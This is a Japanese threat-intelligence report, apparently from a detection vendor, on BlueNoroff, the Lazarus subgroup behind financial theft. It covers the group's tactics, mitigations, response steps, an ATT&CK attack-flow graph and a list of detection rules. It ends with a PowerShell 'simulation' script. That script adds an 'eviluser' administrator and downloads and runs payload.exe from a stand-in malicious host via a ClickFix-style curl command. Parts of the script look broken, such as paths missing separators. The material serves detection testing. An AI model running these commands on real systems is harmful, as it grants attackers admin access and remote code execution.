BlueNoroffグループ: ラザルスの金融サイバー犯罪部門
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
BlueNoroffは、銀行、暗号通貨企業、広範なWeb3ターゲットに対する高価値窃盗作戦に焦点を当てた、Lazarusエコシステム内の資金志向サブグループです。このグループのプレイブックは、SWIFTを利用した詐欺、ウォータリングホールの侵害、Goパッケージのサプライチェーン中毒、および偽の「面接」ルアーを中心としたmacOS侵入パスを含んでいます。実行と持続性を達成するために、BlueNoroffはモジュール化されたRust/GoマルウェアスタックをAppleScript、VBScript、ソーシャルエンジニアリングワークフローと組み合わせて、ユーザーの警戒を回避し、正当な開発および管理活動に統合します。
調査
このレポートは、2016年のバングラデシュ銀行強盗から最近の2025年のサプライチェーン活動までのBlueNoroffの軌跡を追い、その役者のツールとターゲッティングがどのように拡大したかを強調しています。研究者は、インフラストラクチャのパターンを説明し、GhostCall、GhostHire、RustBucket、GillyInjectorを含むマルウェアコンポーネントをカタログ化しています。また、調査は観察された行動をMITRE ATT&CKに段階別にマッピングし、偵察から初期アクセス、実行、持続性、資格情報窃盗までを包括して、ステルス性の足場、段階的ペイロード配信、窃盗準備されたアクセスパスに一貫した焦点をあてていることを強調しています。
緩和策
供給チェーンの継続的な衛生状態の確認によって曝露を減少させます: 公的なレジストリから引き出すパッケージの検証、固定および出所の管理の強制、予期しない保守者またはコードの変更に対して継続的に依存関係の更新をレビューします。macOSでは、LaunchAgent/LaunchDaemonのガバナンスを強化し、疑わしい持続性のエントリや署名のないツールを監視します。ルアー配信に使用される類似ドメインをブロックし、特権アイデンティティと外部に公開されたサービスのためにMFAを施行し、既知の悪意のあるスクリプト、ローダー、および役者に関連するパッキング技術の検出を運用化します。定期的な脅威インテリジェンスの更新を維持し、スピアフィッシングと「採用/面接」型のソーシャルエンジニアリングパターンに焦点を当てたユーザートレーニングを強化します。
対応
BlueNoroffの指標が発見された場合、影響を受けたホストを隔離し、完全なコマンドライン、スクリプトコンテンツ、およびドロップされたバイナリやパッケージアーティファクトを含む鍵となる証拠を保存します。悪意のあるドメインとC2 IPをブロックし、資格窃盗とサプライチェーン妥協シナリオに沿ったインシデント対応プレイブックを実行します。AppleScriptおよびVBScriptの実行チェーン、そして報告された疑わしいPowerShellパターンに対する検出を導入または調整し、同じルアー、依存関係、またはインフラストラクチャの重複に曝された追加のエンドポイントを特定するために狩猟を拡大します。
“graph TB %% Class Definitions classDef technique fill:#99ccff classDef action fill:#ffdd99 classDef operator fill:#ff9900 %% Technique Nodes gather_identity[“<b>技術</b> – <b>T1589 被害者の識別情報の収集</b><br/>ターゲットに関する個人、職業、オンライン情報を収集します。”] class gather_identity technique search_social[“<b>技術</b> – <b>T1593.001 ソーシャルメディアの検索</b><br/>被害者所有のソーシャルメディアアカウントをクエリして、有用なデータを特定します。”] class search_social technique phish_info[“<b>技術</b> – <b>T1598.001 情報を狙ったフィッシング</b><br/>被害者を騙して認証情報や他のデータを開示させるメッセージを作成します。”] class phish_info technique spearphish_service[“<b>技術</b> – <b>T1566.003 サービス経由でのスピアフィッシング</b><br/>合法的なオンラインサービスを使用して被害者に悪意のあるコンテンツを配信します。”] class spearphish_service technique launch_agent[“<b>技術</b> – <b>T1543.001 起動エージェント</b><br/>macOSの起動エージェントをインストールして持続性を得ます。”] class launch_agent technique launch_daemon[“<b>技術</b> – <b>T1543.004 起動デーモン</b><br/>macOSの起動デーモンをインストールして持続性を得ます。”] class launch_daemon technique tcc_manip[“<b>技術</b> – <b>T1548.006 TCC操作</b><br/>より高い権限を得るために透明性、同意、制御設定を変更します。”] class tcc_manip technique software_packing[“<b>技術</b> – <b>T1027.002 ソフトウェアパッキング</b><br/>ペイロードを分析回避のために圧縮または暗号化します。”] class software_packing technique masquerading[“<b>技術</b> – <b>T1036.005 偽装</b><br/>ファイルの名前を変更したり、馴染みのあるアイコンを使用して合法的に見せかけます。”] class masquerading technique gui_input[“<b>技術</b> – <b>T1056.002 GUI入力キャプチャ</b><br/>グラフィカルインターフェイスからキーストロークやマウス入力を記録して認証情報を盗みます。”] class gui_input technique system_info[“<b>技術</b> – <b>T1082 システム情報の取得</b><br/>OSのバージョン、ハードウェアの詳細、およびインストールされたソフトウェアを収集します。”] class system_info technique data_local[“<b>技術</b> – <b>T1005 ローカルシステムからのデータ</b><br/>感染したホストからの関心のあるファイルをコピーします。”] class data_local technique local_staging[“<b>技術</b> – <b>T1074.001 ローカルデータステージング</b><br/>収集したデータを後で流出するためにディレクトリに配置します。”] class local_staging technique web_protocols[“<b>技術</b> – <b>T1071.001 Webプロトコル</b><br/>コマンドおよびコントロールトラフィックにHTTP/HTTPSを使用します。”] class web_protocols technique dead_drop[“<b>技術</b> – <b>T1102.001 Dead Drop Resolver</b><br/>公的にホストされた場所から指示を取得します。”] class dead_drop technique bidirectional[“<b>技術</b> – <b>T1102.002 双方向C2</b><br/>攻撃者とマルウェア間の双方向通信を可能にします。”] class bidirectional technique oneway[“<b>技術</b> – <b>T1102.003 一方向C2</b><br/>攻撃者からコマンドを受信するだけでデータを送り返しません。”] class oneway technique %% Action Nodes user_click[“<b>アクション</b> – ユーザーが悪意のあるリンクをクリックしてペイロードをダウンロードします。”] class user_click action %% Operator Node (optional AND for persistence options) op_persistence((“AND”)) class op_persistence operator %% Connections gather_identity u002du002d>|リード| search_social search_social u002du002d>|リード| phish_info phish_info u002du002d>|リード| spearphish_service spearphish_service u002du002d>|トリガー| user_click user_click u002du002d>|確立| op_persistence op_persistence u002du002d>|使用| launch_agent op_persistence u002du002d>|使用| launch_daemon launch_agent u002du002d>|有効化| tcc_manip launch_daemon u002du002d>|有効化| tcc_manip tcc_manip u002du002d>|有効化| software_packing tcc_manip u002du002d>|有効化| masquerading software_packing u002du002d>|促進| gui_input masquerading u002du002d>|促進| gui_input gui_input u002du002d>|提供| system_info system_info u002du002d>|サポート| data_local data_local u002du002d>|準備| local_staging local_staging u002du002d>|流出経由| web_protocols web_protocols u002du002d>|サポート| dead_drop dead_drop u002du002d>|サポート| bidirectional bidirectional u002du002d>|サポート| oneway “
攻撃フロー
検出
可能なシステムネットワーク構成ディスカバリー(cmdlineを通じて)
表示
可能性のあるリモートシステム探索または接続性チェック(cmdlineを通じて)
表示
オートスタート位置にある疑わしいバイナリ / スクリプト(file_eventを通じて)
表示
管理アカウントまたはグループの列挙の可能性(cmdlineを通じて)
表示
検出すべきIOC(Email):BlueNoroffグループ:Lazarusの金融サイバー犯罪部門
表示
悪意のあるAppleScriptとClickFixコマンド実行の検出 [Windowsプロセス作成]
表示
Netコマンドによるローカルおよびドメインユーザーの列挙 [Windows Sysmon]
表示
BlueNoroff PowerShell難読化とエンコーディングの検出 [Windows Powershell]
表示
シミュレーション実行
前提条件:テレメトリー&ベースラインプリフライトチェックが合格していること。
根拠:このセクションでは、検出ルールを発動するために設計された敵の技術(TTP)の正確な実行を詳述します。コマンドとナラティブはTTPとして特定されたものを直接反映し、検出ロジックによって予想される正確なテレメトリーを生成することを目的とする必要があります。抽象的または無関係な例は誤診を招くでしょう。
-
攻撃のナラティブ&コマンド:
- AppleScriptの実行(T1546.016) – 敵対者は悪意のある
payload.scptをエンドポイントにドロップします(例:フィッシングの添付ファイルを通じて)。プリインストールされているosascript.exe(サードパーティツールと同梱)を使用して、ローカルの管理者アカウントを追加するPowerShellペイロードを実行するためにスクリプトを起動します。 - ClickFixクリップボード配信(T1204.004) – 攻撃者は、Zoomスタイルのユーザーエージェントを用いて
curlを呼び出す巧妙に作成されたコマンドをクリップボードにコピーし、次に直ちにcmd.exeによって第二段階のペイロードをダウンロードして実行します。コマンドには、インラインでpowershell.exe -cを使ってメモリ上でペイロードを実行するための呼び出しが含まれています。
- AppleScriptの実行(T1546.016) – 敵対者は悪意のある
-
回帰テストスクリプト: 以下のスクリプトは、両方の動作を決定的な方法で再現します。
#----- BEGIN REGRESSION TEST SCRIPT ----- # Ensure we are running with administrative privileges if (-not ([Security.Principal.WindowsPrincipal] ` [Security.Principal.WindowsBuiltInRole] "Administrator")) { Write-Error "Run this script as Administrator." exit 1 } # 1. AppleScript execution via osascript.exe $appleScriptPath = "$env:TEMPmalicious.scpt" Set-Content -Path $appleScriptPath -Value @" tell application "System Events" do shell script "powershell -c `"Add-LocalGroupMember -Group 'Administrators' -Member 'eviluser'`"" end tell "@ # Execute the AppleScript Start-Process -FilePath "osascript.exe" -ArgumentList "`"$appleScriptPath`"" -NoNewWindow -Wait # 2. ClickFix style clipboard delivery $clickFixCmd = 'curl -A "ZoomSDK" http://malicious.example.com/payload.exe -o $env:TEMPpayload.exe && powershell.exe -c "Start-Process $env:TEMPpayload.exe"' # Run via cmd.exe to match rule condition Start-Process -FilePath "cmd.exe" -ArgumentList "/c `$clickFixCmd" -NoNewWindow -Wait # Cleanup: remove artifacts Remove-Item -Path $appleScriptPath -Force Remove-Item -Path "$env:TEMPpayload.exe" -Force -ErrorAction SilentlyContinue # End of script #----- END REGRESSION TEST SCRIPT ----- -
クリーンアップコマンド: プロセス、ファイル、およびテストユーザーアカウントの残骸を削除します。
# ストッププロセス (防御的 – 通常は不要です) Get-Process -Name "osascript","cmd","powershell","payload" -ErrorAction SilentlyContinue | Stop-Process -Force # 一時ファイルを削除する Remove-Item -Path "$env:TEMPmalicious.scpt" -Force -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMPpayload.exe" -Force -ErrorAction SilentlyContinue # テストアドミンアカウントが作成されていた場合は削除する if (Get-LocalUser -Name "eviluser" -ErrorAction SilentlyContinue) { Remove-LocalUser -Name "eviluser" }